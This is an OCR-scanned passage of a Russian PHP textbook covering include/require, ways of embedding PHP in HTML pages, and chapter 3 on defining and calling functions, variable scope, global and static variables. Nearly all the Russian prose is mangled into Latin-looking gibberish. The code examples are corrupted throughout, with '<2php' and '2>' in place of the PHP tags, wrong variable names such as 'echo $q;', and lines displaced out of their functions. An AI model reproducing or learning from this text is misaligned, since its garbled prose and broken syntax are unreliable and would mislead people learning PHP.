ObITh IPOGJIEMOIA. BaM HYXHO TOYHO 3HaTb, KAKHe IJI06aNbHbIE IEPEMEHHbIE UC-
N0JIb3YIOTCS GUOINOTEKOH, YTOObI YOEANTHCS, UTO BbI HE UCITOJIb3YETE MEPEMEH-
HYIO C TAKMM )K€ HMEHEM B COOCTBEHHBIX LIEJISAX, YTO MOXKET Nepe3anucarhb 3Ha-
yeHue OUOIMOTEKH M HAPYIIUTD ee paboTy.

Ecnu koHCTpyKuMA include MU require HAXOAUTCA B (YHKIMH, TIEpEMEHHbBIE
B MOJKJI0YaeMOM (hailie nonaaaT B 06JacTb 3T0i GYHKIMH.

HOCKOJIbe include U require ABJIAKOTCA KJ/IKYEBbBIMHU CJIOBAaMH, a HE peaJib-
HbIMU OnepaTOpaMM, Bbl JOJI2DKHbI BCerJga 3aKJ/Jl4aThb UX B (bldryprIe CKO6KI/I
B yCJIOBHOM OnepaTope UJIU HUKJIaX:
for ($i=0; $i< 10; $i++) {
include “repeated_element.html”;

}

Ucnonv3yiite GyHKIMIO —get_included_files(), 4ToObI y3HaTh, Kakue aibl
MOJKJIIOYaeT C MOMOLIBbIO include MM require Balia mporpamMma. (OyHKUMSA BO3-
BpAlllaeT MAaCCUB, COCTOSILIMI M3 MOJHBIX MMEH MOJIKI0YaeMbiX (aitnos. He o6pa-
GoTaHHbIE HA MOMEHT BbI30Ba (OYHKIMH (hailyibl He OyayT BKJIOYEHBI B 3TOT MaCCHB.

2.7. Bueppenue PHP 8 Web-cTpaHuupbl

XoTs pmomyckaeTcss HamMcaHWe M 3alMyCK IOJHOCTbIO aBTOHOMHbIXx PHP-
cuenapues, yacto PHP-kox npocto BctpauBaercss B HTML- unu XM L-daiinst.
B koH1e-koH11I0B, 47151 3Toro PHP u co3aasancs.

[Tpu 06paboTKe TAKMX JOKYMEHTOB Kaxblit 610k PHP-kona 3aMeHsieTcst BbIBO-
JIOM, KOTODPBIH OH MOPOX/JaeT.
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[Tockoabky oauH aiin Moxet conepxkatb 6;10ku kak PHP-koza, Tak u He-PHP
KO3, HaM HYXHO Kak-To uaeHtuduuupoBatb PHP-yactu koma. [das atoro
B PHP npexycMoTpeHo yeTsipe pa3Hbix crnocoba. [lanee B 3TOM pasjesie Mbl X
BCe pas3bepeMm.

Kak BBl yBUIMTE, MEPBbI U CTAHAAPTHBII CIOCOO COCTOUT B MCIIOJb30BAaHUU
TeroB HamopoOue Toro, Kak 3T1o aesnaercss B XML. Bropoit Metox HanmoMuHaer
SGML. Tpetuii meton ocHoBaH Ha ASP-terax. UeTBepTbhlii MeTON MOpa3yMeBa-
eT ucrnosb3oBaHue crangaprHoro HTML-tera <script>, 61arofapst yeMy MOX-
HO peJaKTHPOBaTh CTPaHUIIbl ¢ BHeApeHHbIM PHP-koxoM B 06biuHoM HTML-
penakTope.

CranpaptHoiii (XML) ctunn

3-3a nosiBnenus s3bika pasmetku XML (eXtensible Markup Language) u mu-
rpauuu s3pika HTML Ha s3pik XML (XHTML), aanubliii cioco6 siBisietcs
NpeanoYTUTEbHBIM 1151 BcTpauBanusi PHP-koza. [laHHbli criocob 3akioyaer-
cs1 B UCMOJIb30BaHUM XM L-COBMECTUMBIX TEroB /151 0603HaYEHUST MHCTPYKUMI
PHP.

YTo6bI MCII0JIB30BATH ITOT CTHJIb, 3aKkaounTe PHP-kox B Teru <2php u 2>. Bee,
4TO HAXOAUTCS MEX/Y 3TUMU MapKepaMu OyaeT uHTeprnpeTupoBaTbes kKak PHP,
a BCe, YTO HAXOUTCS 3a UX MpejiesiaMu He Oynet cuutatbest PHP-konom. [lo6as-
JieHue nmpobesioB MeX 1y MapKepaMH U BJIOXKEHHBIM B HUX TEKCTOM He SIBJISIETCS
He0OXOAMMBIM, HO MOBBIIIAET YUTAOETbHOCTD.

Hanpumep, uro6s1 PHP BriBes ctpoky “IIpusert, Mup!”, B Bally BeG-CTpaHHILy
HY>KHO BCTaBUTb CJIEAYIOILYIO CTPOKY:

<?php echo “Mpueer, mup!”; 2>

Touka c 3ans1T0i1 Mepe MapKepoM 2> sIBJISIETCsI He00s3aTeNbHOM, TOCKOJIbKY KO-
Hell 6JI0Ka MOpoXaaeT U KoHell BbipaxkeHust. [Tonbiit HTML-daitn MoxeT Bbi-
TJISIIETH TAK:

<ldoctype html>

<html>

<head>
<title>310 mos nepeas PHP-nporpammal</title>

</head>

<body>

<p>
Mama, nocmorpu! 31o mos nepeas PHP-nporpamma:<br />
<2php echo “Mpuser, mupl”; 2><br />
Mowxpaeunocs?

</p>

</body>

</html>
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Komneuno, n1anHblii mpuMep He O4eHb BIMEYATISIOINH, MOCKOIBKY 3TOrO Xe 3¢)-
¢dekra moxHo no6uthest u 6e3 PHP. Hacrosias nuennocts PHP nposiBasiercs,
KOT'ZIa MBI MOXKEM MOMECTHTh Ha BeO-CTPaHHIy JHHAMHYECKYI0 HHGOPMALHIO,
MOJIyYEHHYI0 U3 Pa3HbIX UCTOYHUKOB, HampuMep, U3 6a3 JaHHBIX HUIH (OPM.
OnHako maBaiiTe Bce ke BepHeMcs K Haliemy npuMmepy “IlpuBer, mup!”. Korna
M0JIb30BATENb MIOCETUT 3TY CTPAHHUILY U IIPOCMOTPHT €€ UCXOIHBIN KOJI, OH YBU-
IUT 3TO:

<ldoctype html>
<html>
<head>
<title>370 mos nepsas PHP-nporpammal</title>
</head>
<body>
<p>
Mama, nocmotpu! 1o mos nepeas PHP-nporpamma:<br />
Mpueet, mupl<br />
Monpasunocs?
</p>
</body>
</html>

O6paTnTe BHHUMaHHE, YTO IMOJIb30BaTE/JIb BUAUT TOJIBKO BBIBO/] PH P-KOlIa, HO HE
BHUJHUT CaM KO/I.

Uucrpykuun PHP MoryT 6bITh OMEIIEHBI KY/Ia-YTOAHO, JaXe BO BHYTPb AOMY-
ctumbix HTML-rteros. Hanpumep:

<input type="text" name="first_name" value="<2php echo "Mutep”; 2>" />
Korza PHP 06pa6oTaeT aTOT TEKCT, OH CTaHET TaKHUM:

<input fype="text" name="first_name” value="Turep” />
Kox PHP BHyTpHM MapkepoB He 00s13aTeJIbHO IOJKEH HAXOAUTbCS Ha OMHOMN
crpoke. [Ipu HeoOX0AMMOCTH BBl MOXETe 10OABUTH CKOJIBKO YTOAHO Pa3pbIBOB

ctpoku. Iloatomy mMbl Moxxem mepenucatb PHP-kon B Haumem npumepe “Ilpu-
BeT, MUD!” Tak:

<2php
echo "Mpuser, mup”; 2>

<br />
B pesyasrupyromem HTML-kozxe Huuero He U3MEHUTCSL.
Crune SGML

[pyroit ctuab Buexpenuss PHP-kona mpuxoaut u3 SGML-teros. Utobsl uc-
MOJIb30BaTh 3TOT CTHJIb, NpocTo 3akaiouute PHP-kox B Mmapkeps! <2 u 2>, Pac-

CMOTPUM CHOBA Halll MTPUMED:
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<2 echo "Mpueer, mup!”; 2>

JlaHHBIN CTHIIb TaKKe U3BeCTeH KaK KOPOTKHe Terd, opUIHaNbHO MOAAePKHBaA-
€TCsl, HO [10 YMOJTYAHHIO BBIKJII0YeH. UTOObI BKJIIOYUTD MOJEPKKY KOPOTKHUX Te-
roB HyxHo uau cobpatb PHP c omnuueil --enable-short-tags MM BKJIOYHUTh
JIUDPEKTUBY short_open_tag B daitye kongurypauuu PHP.

Hcnonb3oBanue KOPOTKOTIO echo-Tera <2= ... 2> BKJIIOUEHO HE3aBUCHUMO OT [10-
CTYITHOCTHU KOPOTKHX TETOB.

ASP-ctunb

Ilockonbky HU SGML-, Hu XML-ctuab no cytu He siBasiorcss HTML-koxom,
Hexkotopble HTML-penaktopsl He pacno3HaloT Kof, 0OpPMJIEHHBIN MOJA HUX.
B pesysibraTe He paboTaeT LBETHasl MOJCBETKA CHHTAKCHCA, KOHTEKCTHAS CIPaB-
Ka U ApyrUe 1oJie3Hble (PYHKIUU. A HEKOTOPblE PEJaKTOPhI Jaxe “rmoMoraiotr’
BaM, yaajsisi “HeJJOMYyCTUMbIN” KOJI.

Onnako MHorue Takue HTML-penakTopsl pacrno3HaT Apyroil MexaHuam (He
6onee nonyctumbiii, yeM PHP) BHeapenust koaa - Microsoft Active Server Pages
(ASP). ITogo61o PHP, ASP - 310 MeTOA BHEIPEHUSI CLIEHAPHEB CTOPOHBI CEPBE-
pa B Balllk IOKyMeHThL. Ecyiu Balll pelakTop HUYero He M0/ J03PEeBaeT O CYlIeCTBO-
Banuu PHP, monpo6yiite ncnosb3oBaTh Teru ctuiist ASP 1151 BHEJpEHUs yyacT-
koB PHP-kona B Bamu crpanuisl. ASP-ctusb noxox nHa SGML-cTuib, Ho BMe-
CTO ¢ MCIIOJIb3YETCs 3HAK %:

<% echo "Mpusert, mupl”; %>

[To ymomuanuio Teru B ctusie ASP BbikioueHbl. UTOObI MX UCIIOJB30BATh, BAM
HyxHO cobpatb PHP c omuueii --enable-asp-tags MM K€ BKJIOYUTb JHPEK-
TUBY asp_tags B BallleM KOH¢uUrypauuoHHoM daiine PHP.

WUcnonb3osanue <script>

Ilocnennuit meton pasaenenuss PHP u HTML-koaa 3akjtoyaeTcsi B UCIOJIb30-
BaHMM Tera <script>. OOBIYHO 3TOT TEr MCIOJIb3YETCs sl CLIEHAPUEB, BHIMOJ-
HSIIOI[UXCST HA CTOPOHE KJIMEHTa, HAllpUMED, JJisi BHeApeHUs JavaScript-koaa.
[Tockoabky npu nonaganuu Be6-ctpanuibl B 6paysep PHP-xon 6yner o6pa6o-
TaH, a B Opay3ep MOMajeT yxKe pe3yJbraT ero BbIMOJHEHHUs, Bbl MOXKETE UCIIOJb-
30BaThb Ter <scripk> AJs1 BKiawouenus: PHP-koma. [l ucnoib30BaHUS 3TOTO
METO/Ia MPOCTO YKaXXUTe php B KAUECTBE SI3bIKA:

<script language="php">

echo “Mpuset, mupl”;

</script>

Jrot Metox ouenb nosesed ¢ HTML-pegakTopamMu, KOTopble paboTalOT TOJBKO
¢ HTML-komoM u He mogAepXUBaT KoMaHabl 00paboTkn XML.
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Ucnonb3osanue echo aAna BLIBOAA KOHTEHTa

Hagepnoe camas pacnpoctpanenHas onepanusi B PHP-npumoxeHusx - BbIBOA
JaHHBIX HA 9KpaH I0JIb30BaTe/s. B KOHTEKCTE BEO-NPUIIONKEHUS ITO O3HAYAET
BbiBo HTML-10KyMeHTa, KOTOPbIit IpEBpAaTUTCS B BEO-CTPAHMILY TP TPOCMO-
TPE I0JIb30BATEJIEM.

Yrobbl ynpoctuthb 3Ty onepaiuio, PHP npenocraBisier cnelmaibHbie BEPCUH
SGML- u ASP-teros, koTopble NPUHUMAIOT 3HAaYEHHE BHYTPU U BCTABJISIIOT €T0O
B HTML-crpauuiy. Yto6s! 1cnoib30BaTh 3Ty (hyHKILHUIO, HCIIOJIb3YiiTe 3HAK =
B OTKpbITOM Tere. [Ipumep:
<input type="text" name="first_name” value="<2= "Murep”; 2>">
Ecou BbI ucnosibdyetre ASP-Ttery, To ke caMoe MO>KHO MPO/IeTaTh U C HUMH:
<p>310 umncno (<%= 2 + 2 %>)<br />

u 310 uucno (<% echo (2 + 2); %>)<br />
opuHakosbie.</p>

ITocsie o6pabotku Bl nostyuute caenyoumit HTML-koxa:

<p>370 umncno (4)<br />
u 3710 uncno (4)<br />
oaMHakosbie.</p>
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DyHKIMS - TOMMEHOBaHHBIN OJIOK KO/a, BBITOJIHSIIOLIMN ONpeeeHHYIO 3a1ayy,
BO3MOKHO, peariupyoLIii Ha psiJi 3HaUeHUH, TePeAaHHBIX eif B BUIE TapaMeTPOB
Y, BO3MOXXHO, BO3BPAlIAONINI eAMHCTBeHHOE 3HaueHre. DYHKINH MO3BOSIOT
9KOHOMHUTD Ha BpEMEHHU KOMITUJISIIIH - HE3AaBUCHMO OT TOTO, CKOJIBKO Pa3 BbI BbI-
3pIBaeTe UX, QYHKIMU KOMITUIUPYIOTCS TOJBKO OAWH pa3 sl CTpaHULbL. Takxe
OHH TOBBILIAIOT HAZEKHOCTh, TIO3BOJISISI BaM MCIIPABJISTh OIIMOKH B OJTHOM Me-
CTe, a He 110 Bceit mporpamMe. Enre GyHKIMH yaydmaoT ya0604uTaeMOCTb, H30-
JIUPYS1 KO/, KOTOPBIii BBITIOJIHSIET ONpeeIeHHbIe 3a1a4H.

B 37011 ri1aBe BbI MO3HAKOMUTECH C CHHTAKCHCOM BBI30Ba U OIpeziesieHust QyHK-
I[MH, a TaKXe PacCMOTPUTeE, KaK YIpaBisTh ePeMEHHbIMU B QYHKIUSAX U Kak
nepejaBaTh 3HaYyeHUs] QyHKIUSAM (MBI PACCMOTPUM, KaK [apaMeTphl-3HaYeHHUs,
TaK U MapaMeTpbi-CChLIKH). Takke B 3TOM ri1aBe OyAyT pacCMOTPEHDI IIEPEMEH-
Hble QYHKIMY U aHOHUMHBIE QYHKINH.

3.1. BbizoB pyHKUMM

@Dyukuuu B PHP nporpamme MoryT ObITh BCTPOEHHBIMHU WJIN ONPEAETEHHBIMU
noJib3oBaTesieM. He3aBUCHMO OT UX TPOMCXOXAeHMS, Bce GYHKIIMU BbI3bIBAIOT-
Cs1 OJIHUM M TEM e CII0COOOM:

$Hexotopoe3nauenne = uma_dynkumm( [ parameter, ... ] );

Yucio mapaMeTpoB, KOTOpble HEOOXOAUMO TepeaaTh (GYHKIUHU, OTJIMYAETCS OT
dyukumnu k GyHKIMY (M, KaK Bbl yBUAUTE AaJI€€, MOKET ObITh PA3HBIM JJISI OMHOM
u Toit xe pyHukiun). [Tapamerpsl, mepenannbie GYHKIUH, MOTYT OBITh JIIOOBIM
JOTYCTUMBIM BBIPQXKEHHEM U JOJKHBI CJI€I0BATh B ONIPEIEIEHHOM, 0XKHIaEMOM
nopsiake. Eciv Bbl mepeaany mapameTpsl B APYrom nopsiake, To GyHKIus Oyner
paboTaTh «Hayraa» U B OOJBLUINHCTBE CJIYYaEeB ee Pe3yJbraToM Oyaer “mycop”.
HoxymeHTarus mo GbyHKIMK MOACKAXET BaM, KaKHe MTapaMeTpPbl HY>KHO Mepe-
AaTh (PyHKIMU U KaKHe 3Ha4eHUS BaM CJIEAYeT OT Hee OXKUAATb.

PaccMOTpHM HECKOIBKO TPUMEPOB BbI30Ba DYHKIIUH:

// strlen() - BctpoenHas dbyHkums, BO3BPALLAIOWAs AAMHY CTPOKM
$length =strlen("PHP"); // $length = 3

// sin() n asin() - matemaTnueckue dyHKLUMK CUHYC M OpKCUHYC
$result =sin(asin(1)); // $result = cunyc apxeunyca 1 unu 1.0
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// unlink() yaanset ¢aiin
$result = unlink(“functions.txt"); // false, ecnu neycnewmno

B mepBoM mpumepe Mbl nepefiaeM apryMeHT “PHP” dyHKUMH strlen(), KOTOpas
B OTBET MePe/IaeT HaM YKCJIO CUMBOJIOB B TAHHOM CTPOKe. B HalreM npuMepe oHa
BEpHET 3HaueHHe 3, KOTopoe OyAeT MPHUCBOEHO MepeMeHHOit $length. 3To npo-
cTemit 1 HanboJiee YacThIi cMOCO6 MCTOIb30BaHUsT QYHKIMH.

Bo BTOpOM mnpuMmepe Mbl mepenaeM pe3yabTaT (QYHKIMH asin(1) GyHKIUK
sin(). TTockobky GYHKIMH CHHYC M apKCHMHYC OOpaTHBI, Mbl JOJIKHBI BCeraa
MOJIYYUTh TO JXKe 3HaueHHe. 371eChb Mbl BUJMM, 4TO (QYHKIIHST MOXKET ObITb BbI3Ba-
Ha BHYTpH Apyroii dyHkiuu. Bo3BpaiaeMoe 3HaueHe BHyTPEHHETO BbI30Ba OY-
JIET OTIIPaBJIEHO BHElIHEH GYHKIMHU B Ka4eCTBE apryMeHTa, a 3aTeM O0LIHii pe-
3yJbrat OyaeT 3anucaH B IEPEMEHHYIO $result.

B mocnennem mnpumepe Mbl nepemaeM uMs daitna dyHKumu unlink(), Korto-
past mbiTaeTcst yaanuThb ¢aitn. [Togo6Ho MHOTMX (GYHKIMSM, OHa BO3BpallaeT
false B caiyyae Heygauu. JTO MO3BOJISIET BaM MCMOJb30BaTh JPYTyI0 BCTPOEH-
HY10 QYHKIIHIO, die().

[To3TOMY JaHHBI IPUMEP MOXKET ObITh MEPEIMCcaH TaK:
$result = unlink(“functions.txt”) or die("He nonyumnocs ypanuts daiin!”);

d)ymcum{ unlink(), B OTJIMYME OT ABYX APYTUX NPUMEPOB, NMPOU3BOAUT Jeii-
CTBHE C TaPAMETPOM, TIepeaHHbIM €1, 3a peiesiaMu camoii GyHKIuu. B tanHOM
cayyae oHa ynansieT ¢daita u3 ¢aitioBoii CUCTEMBIL

B PHP ectb orpoMHoe uuciio ¢GyHKIMH, KOTOPble BbI MOXXETe HCIOJIb30BaTh
B BalllUX MPOrpaMMax: OT JOCTyNa K 6a3aM JaHHbIX [0 CO3MaHMs rpadHKH, OT
yteHus1 U 3anmucu X ML-daiinoB 1o nonyyeHus GhanoB U3 yaaJeHHbIX CUCTEM.
Bcerpoennbie PHP-dyHkumMu noapo6Ho onucansl B I1prioxkeHuu.

3.2. Onpepenenne GyHKUMM

[nst onpenenenusi GyHKIIMM UCTIOIb3YETCS CAETYIOUHUNA CHHTAKCHUC:

function [&] ums_dyrkumu([parameter], ...]])

{
}

Cnucok onepatopoB MoxeT coaepxkaTb HTML-koa. Ber MoxeTe onpenenuTb
PHP-dyHk1mio, kotopast BooO1e He conepxkut PHP-koa. Hanpumep, yHKius
column() mpocTo mpucBanBaer ymnobHoe koporkoe umsi HTML-komy, kotopbiit
HY>KHO BbIBECTH MHOXECTBO pa3 Npy OPMUPOBAHUHU CTPAHMIIBL:

CMUCOK ONepaTopos
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<2php function column()
{&>

</td><1d>
<¢php }

VIMst pyHKIMH MOXET HaYMHAThCsI ¢ OYKBBI MJIM 3HAKa MOIYEPKUBAHMUSI, TIOCTIE
4ero MOXeT CJieZI0BaTh (MJIH He CJIe0BaTh) 0oJblie OYKB, 3HAKOB MOYEPKHBA-
Hus ¥ undp. VImeHna ¢yHKIMIA He YyBCTBUTENbHBI K PETUCTPY CUMBOJIOB, 1103-
TOMY, BBl MOXeTe BbI3BaTh (YHKIHIO sin() Kak sin(1), SiN(1), SIN(1) u T.1,
MOCKOJIbKY BCE 3TH MMeHa 0OpauiaTcsi K O4HOM U Toit xe ¢yHkuuu. [1o corna-
1eHu1o, Bce BctpoeHHble PHP-byHKIIMN NPUHSITO BBI3BIBATh B HUXKHEM DETH-
CTPe CUMBOJIOB.

OO6b1yHO (PYHKUMHM BO3BpAlllAlOT HEKOTOpbIEe 3HavyeHusi. [l1s1 Bo3Bpara 3Haye-
HUS U3 YHKIMM HCNOJb3yiiTe omepaTtop return. [loMecTuTe omnepartop return
<swipaxenve> B Baily ¢yHkuui. Korma onepatop return OyaeT BCTpeYeH BO
BPEMSsI BHITNOJIHEHUsT (DYHKIIMH, BbINOJHEHHE OyA€T MepeaaHo BbI3bIBAIOLIEMY
dbyHKUMIO onepaTopy, a pe3yJbTaT BBIUHCIEHHS <swipaxewne> OyIeT BO3Bpa-
leH, KaK 3HayeHue HYHKUMH. BHYTpH (DYHKIMHM BBl MOXXETE ONpPENEeNUTh JIIO-
60€e YHCJIO ONEePaTOPOB return (HANIPUMED, BbI MOXKETE MCII0JIb30BaTh ONEPATOP
switch JIJIs1 OTIpe/ieJIeHHs], KaKOe U3 HECKOJIbKHX 3HAYeHHUH HYXKHO BEPHYTh).

aBaiitTe mocMoTpuM Ha npoctyio ¢yHKIHI (npumMep 3.1). OHa npUHUMaeT 1Be
CTPOKH, BBITIOJIHSIET UX KOHKATEHAIIHIO (COeIMHEHHE) U BO3BPALI[AeT Pe3yJIbTaT
(B HaleM caydae Mbl co3ganu 6ojiee MeJIEHHbII BADUAHT OlepaTopa KOHKaTe-
HallMH, HO 3TO TOJIbKO Pajii TIPUMEPA):

Npumep 3.1. KoHkaTeHauma CTpoku

function strcat($left, $right)

$combinedString = $left . $right;
return $combinedString;

}

DOyHKUMS TPUHUMaeT [Ba TnapaMeTpa, $left U $right. Vcnosnwdyss omepa-
TOP KOHKaTeHaluH, PyHKUHsS co3xaeT 0ObeAHHEHHYIO CTPOKY B I€PeMEHHON
$combinedString. /lanee ¢dyHKIMs BO3BpaulaeT B KauyecTBe pe3yJbrTaTa 3Hade-
HUe nepeMeHHON $combinedString.

[TockosibKy omeparop return MOXET TIPHHUMATh JIFO0OI THII BBIPaXKEHHIA, 1axe
CaMble CJIOXKHBIE, Ml MOXKEM YIIPOCTHTD IIPOTPAMMY TaK:

function strcat($left, $right)

{
return $left . $right;
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Ecnu Mbl momectuM yHkuio B Haury PHP-cTpanuily, Mbl cMOXeM ee BbI3BaTh
u3 moboro Mecrta cTpaHullbl. JlaBaiite paccMoTpuM puMep 3.2.

L R

NMpumep 3.2. Ucnonu3oBanue Hawei GYHKLUK KOHKaTEHaUMK

<?php
function strcat($left, $right)
{
return $left . $right;
}
$first="3710-";
$second = “nonnoe npeanoxenne!”;
echo strcat($first, $second);

[Tpu otoGpaXkeHuH CTPaHMIbI OY/IET IOKA3aHO ITOJHOE TPEJIOKEHHE.

B caenyroiem npumepe pyHKIMS IPUHUMAET 1I€JI0€ 3HAUeHUe U 1yOJIMpyeT ero
C IIOMOLIbIO ITOOUTHOIO CBUTa U BO3BPAILAET PE3YJILTAT:

function doubler($value)

{
}

Kak tonbko dyHKiMs Oyaer onpe/esieHa, ee MOXHO OyaeT UCMOoIb30BaTh Be3/ie
Ha CTpPaHulIe, HAPUMeD:

<?="Tapa 13 =" doubler(13); 2>

return $value << 1;

Bl MOXXeTe UCMOJIb30BaTh BJIOXEHHbIE 00bsIBJIEHUS] GYHKIMH, HO IIPH ITOM He-
00X0MMO YYUTHIBATh HEKOTOpBIE OrpaHUYeHMs. BiioxeHHble 0ObSIBIEHUS He
OrPaHUYMBAIOT BUIUMOCTDb BHYTPEHHE DYHKIMH, KOTOPast MOXeET ObITh BbI3Ba-
Ha B J1ilo6OM MecTe Balieil mporpaMMbl. BHyTpeHHsist GYHKIIMST aBTOMaTHYECKH
He MoJIyyaeT rnapaMmeTpsl BHelIHel dyHKUuU. V1, HakoHell, BHYTPEHHSST DYHK-
1IMsI He MOXeET ObITb BbI3BaHa, MIOKa He ObljIa BbI3BaHa BHELIHSsE GYHKIMSI, TAKXKeE
ee HeJib3sl BhI3BaTb U3 K0/1a, 06paboTaHHOrO MocJie BHeUIHeH hYHKINH:

function outer ($a)
{
function inner ($b)
{
echo "$b”;
}
echo "$a 2,
}
// BuiBeger “1 2 3”
outer(“1”);
inner(“3");
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3.3. O6nacTb aeincTBUa nepemMeHHoM’

Ecv BbI He ucnoib3yete GyHKUMH, JT100ast CO31aHHAsi BAMHU MEPEMEHHAsi MOXKET
UCIOJIb30BaThCS B JII060M MecTe cTpaHuibl. Korma y Bac ectb (hyHKIIMH, 3TO HE
Bceraa Tak. MyHKIMU XpaHAT cOOCTBEHHbIE HAOODbI EPEMEHHbIX, KOTOPBIE OT-
JIMYAIOTCS OT T€X, KOTOPbIe UCIOJIb3YI0TCS Ha CTPaHUIle U B APYrUX GyHKUHUSX.

HepEMEHHbIe, onpeneeHHbI€ B q)yHKuPII/I, BKJIIO4as €€ MmapaMeTpbl, HEAOCTYITHbI
3a [peaejaaMu q)yHKL[I/II’[ H, 110 YMOJIYaHHIO, MIEPEMEHHBIE, OIIPEAECJIECHHDIE 3a IpE-
nenamMu GYHKLUMH, HEAOCTYIHbI BHYTPU QYHKUMHU. Mbl yXke roBOpun 06 3ToM
paHee U CJIeyIOUH TPUMEDP UILTIOCTPUPYET ITO:

$a=3;

function foo()

{
$a+=2;

}
fool);

echo $q;

Ilepemennast $a 0ObsiBeHa BHYTPU (YHKIMHU foo() OTJIMYAETCS OT MEPEMEH-
HOHM $a, 0ObsABIEHHOU 32 npenesnamu yHkuuu. [Jaxe ecau foo() UCIOMB3YET
ornepaTop 100aBUTb ¥ MPUCBOUTH, 3HaUYEHUE BHELIHEH MepeMeHHOM $a OCTaHeT-
Cs1 3 Ha MPOTSDKEHUH BCEH XXU3HU CTPaHULbL. BHYTpH dyHKIMY y nepeMeHHOH
$a Oyner 3HaueHue 2.

Kak 6b110 moka3aHo B ryiaBe 2, CTeNeHb BUAMMOCTH MMEPEMEHHON B MPOrpaMm- .
Me, Ha3bIBAIOT 00JIACThIO BUAUMOCTH NepeMeHHOM. [lepeMeHHble, cO31aBaeMble
B (pyHKIMH, BUAUMBI TOJbKO BHYTpU dyHKuuu. IlepeMeHHble, co3aaHHble 3a
npenenamu GyHKUUH U 06bEKTOB, UMEIOT I106a/IbHYI0 06J1aCTh BUTUMOCTH U
CYILECTBYIOT Be3/ie 3a npefeaaMu 3Tux GbyHkuuii u o6vektoB. B PHP cymecTsy-
€T HEeCKOJIbKO MpeaoNnpeNeeHHbIX MePEMEHHBIX, 00J1aaloKUX 1 00JaCThIO BU-
AMMOCTH yYPOBHs (pyHKUMH, U r106abHOM 0671aCThI0 (OHM YACTO HA3bIBAKOTCS
cynep-rjao6aabHbIMU EPEMEHHBIMM ).

Ha nepssiii B3r1siz1, 1adke ONMBITHBI MPOrpaMMHCT MOXET MOAYMATh, YTO B TIpe/l-
bIyLIIEM puMepe $a OyaeT paBHA 5 IPU AOCTHXKEHUH ONEPATOPa echo, MOITOMY
HIOMHUTE 00 3TOM, KOr/la BBIOMpaeTe UMEHA [171sl BALIMX T€PEMEHHBIX.

Fno6anbHbie nepeMeHHbie

Ecnu Bbl X0THTE HCMOMB30BaTh I100AIbHbIE TEpEMEHHBIE B BaLIMX (DYHKIMSX,
BbI MOJKETe HCI0JIb30BaTh KJI0YEBOE CJI0BO global. CHHTaKCHUC CIeayOIU:

global var1, var2, ...
$a=3;
function foo()
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{
global $q;

$a+=2;
}

foo();
echo $q;

BmecTo co3manust HOBOM MepeMeHHON ¢ UMeHEM $a U 00J1acTbi0 YPOBHS (YHK-
uun, PHP ucnosnb3yer riobanbHyio nepeMeHHyo $a B 3T0i ¢yHKuuK. Teneps,
KOTZIa HOBOE 3HaueHHe $a OTOOPAsKEHO, Mbl YBUIUM 5.

Bbl 10XKHBI MCMO/IB30BATh KJIIOUYEBOE CJIOBO global mepen mepBbIM HMCHOJIB30-
BaHHeM I7106a1bHO lepeMeHHOI MU I7106abHBIX TepeMEeHHbIX, K KOTOPbIM Bbl
XOTHUTE NOJYYUTD focTym. [lockoabKy oHM onpeesieHbl 10 Tesa PyHKINUH, napa-
MeTpbl QYHKIIMKM HUKOT/IA He OyayT r106aibHbIMH lIEPEMEHHBIMU.

Wcnonab3oBaHue global 3KBHBAJEHTHO CO3[AHUIO CCHUIKM Ha TEPEMEHHYIO
B niepeMeHHOit $GLOBALS. [IpyruMu caoBamu oba ciaeayoumx o6bsaBIeH s CO3-
NAI0T NEPEMEHHYIO ¢ 06J1aCThI0 BULUMOCTH YPOBHS (GYHKIMU, KOTOPAsK SABJSET-
Cs1 CCBUIKOM Ha TO e 3HaueHue rJ100aibHOM epeMeHHoMH $var:

global $var;
$var = $GLOBALS['var'];

Cratmyeckue nepemMeHHble

[Tomo6buo C, si3bik PHP mogmepxuBaer craTudeckue nepeMeHHble (YHKIUH.
3HaueHUe CTAaTUYeCKOH IepPeMEHHOH COXpaHsIeTCS MeXIy BCeMH BbI30BAMHU
(byHKLMH, a €6 UHUIIMATU3ALIUS TIPOMCXOIUT TOJIBKO MPH IEPBOM BbI30BE (PYHK-
wn. Kopoue roBopsi, Bce BbI30Bbl (DYHKLMM PaBOTAIOT TOIBKO C OMHON U TOil
e 00J1aCThIO MAaMSTH, B KOTOPOM XpaHUTCS 3HaYeHHE CTaTUYECKOM epeMeHHOM
(B cayyae ¢ 0ObIYHOIA MIEPEMEHHOIT KaXK/Iblil Pa3 Mo/ Hee BbIENseTCs HOBasl Na-
MSITb, TO €CTh [IepEMEHHAsT MHUIIMAJIU3UPYETCs PY KaXKJOM BbI30Be (DYHKIIUK).

Jlnst oObsIBIEHUS] CTATUYECKON MEPEMEHHON HMCIOJIb3YeTCsl KJ0YeBOE CJIOBO
static. OOBIYHO MPH NEPBOM MCIOJIb30BAHUM CTATHYECKOH MEpeMEeHHON ei
NPUCBaNBAETCS HAYaIbHOE 3HAUEHHUE!

static var |= valuve]], ... |;

B mnpumepe 3.3 mepeMeHHast $count yBeIMYMBAETCS NPU KaXIOM BBI30BE
byHkuum.
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NMpumep 3.3. Cratnueckas nepemerHas-CyeTUNK

L R R R

<2php
function counter()

static $count =0;
return $count++;

for ($i=1; $i<=5; $i++) {

print counter();

Korna dbyHkuus Bbi3biBaeTest B NEPBbIN pa3, IepeMEHHON $count MPHCBAaUBAETCS
3HaueHHe 0. JTO 3HAUEHHe BO3BPALLAETCS], M NepeMeHHasl $count YBEJTMUNBAETCSI.
Koraa ¢yukims 3aBepiuaer cBoo paboTy, nepeMeHHast $count He YHHYTOXKAETCS
110/106HO HECTATHYECKHM NIEPEMEHHDIM, a ee 3HaUeHHe OCTAETCs] TAKUM XKe JI0 CJIe-
JIYIOILIETO BbI30Ba NiepeMeHHOM counter(). InkJ1 for oToOpaxkaet uncaa ot 0 110 4.

3.4. NapameTtpbt GyHKuMM

Bnarogapsi o00bsiBl€HMIO apryMeHTOB B omnpeaeieHWd GYHKINHH, (yHK-
LIMs1 MOXET OXKMAATb OINpejieieHHOe (MM HeolpesesleHHOe) YHCJIO apryMeH-
TOB (mapameTpoB), TpebyeMbix el st paboTbl. CyliecTByeT JBa pa3HbIX CIIO-
coba mepenaun mapaMetpoB ¢yHkuuH. [lepBbiif, Hanbosee 4acTO MCMOJb3Y-
eMblii, Nepejaya napaMeTpa Mo 3HaYeHHI0 (Takhe MapaMeTpbl Ha3bIBAIOTCS
napamMeTpamMH-3HaueHHsiMH ). BTopo# - no ccelyike (3TM MapaMeTphbl Ha3bIBAKOT-
sl TapaMeTpPaMHU-CChITIKaMH ).

